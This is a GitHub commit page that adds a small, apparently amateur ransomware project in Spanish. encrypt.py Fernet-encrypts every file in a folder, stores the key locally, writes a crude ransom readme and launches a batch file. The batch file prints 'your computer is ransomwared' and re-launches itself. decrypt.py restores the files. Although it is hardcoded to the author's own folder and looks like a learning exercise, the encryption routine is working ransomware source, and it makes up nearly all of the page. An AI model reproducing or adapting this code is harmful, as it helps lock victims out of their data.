Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
taoclav authored May 24, 2021
1 parent 1417e6d commit fdc9f5c
Show file tree
Hide file tree
Showing 4 changed files with 78 additions and 0 deletions.
1 change: 1 addition & 0 deletions Files/ae.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
PENE
6 changes: 6 additions & 0 deletions batcosas1.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
@echo Off
@echo "your computer is ransomwared"
@echo "JAJA NO ACEPTO DINERO MEJOR SE LEGAL"

pause
start batcosas1.bat "C:\Users\taocl\OneDrive\Escritorio\ransomt"
30 changes: 30 additions & 0 deletions decrypt.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
from cryptography.fernet import Fernet
import os

def cargar_key():
return open('key.key', 'rb').read()

def decrypt(items, key):
f = Fernet(key)
for item in items:
with open(item, 'rb') as file:
encrypted_data = file.read()
decrypted_data = f.decrypt(encrypted_data)
with open(item, 'wb') as file:
file.write(decrypted_data)

if __name__ == '__main__':
path_to_encrypt = 'C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\encriptadojaja'
os.remove(path_to_encrypt+'\\'+'readme.txt')

items = os.listdir(path_to_encrypt)
full_path = [path_to_encrypt+'\\'+item for item in items]

key = cargar_key()
decrypt(full_path, key)
archivo = "C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\encriptadojaja"
encriptadojaja = "C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\encriptadojaja"
archivo = "C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\Files"
encriptadojaja = "C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\encriptadojaja"

os.rename(encriptadojaja, archivo)
41 changes: 41 additions & 0 deletions encrypt.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
from cryptography.fernet import Fernet
import os
import subprocess
archivo = "C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\Files"
encriptadojaja = "C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\encriptadojaja"

os.rename(archivo, encriptadojaja)

def generar_key():
key = Fernet.generate_key()
with open('key.key', 'wb') as key_file:
key_file.write(key)

def cargar_key():
return open('key.key', 'rb').read()

def encrypt(items, key):
f = Fernet(key)
for item in items:
with open(item, 'rb') as file:
file_data = file.read()
encrypted_data = f.encrypt(file_data)
with open(item, 'wb') as file:
file.write(encrypted_data)

if __name__ == '__main__':

path_to_encrypt = 'C:\\Users\\taocl\\OneDrive\\Escritorio\\ransom\\encriptadojaja'
items = os.listdir(path_to_encrypt)
full_path = [path_to_encrypt+'\\'+item for item in items]

generar_key()
key = cargar_key()

encrypt(full_path, key)

with open(path_to_encrypt+'\\'+'readme.txt', 'w') as file:
file.write('Ficheros encriptados por el TAo\n')
file.write('PENE PENE PENE PENE PENE PENJ EP NE PEN EP NE PEN')

subprocess.call([r'C:\Users\taocl\OneDrive\Escritorio\ransom\batcosas1.bat'])

0 comments on commit fdc9f5c

Please sign in to comment.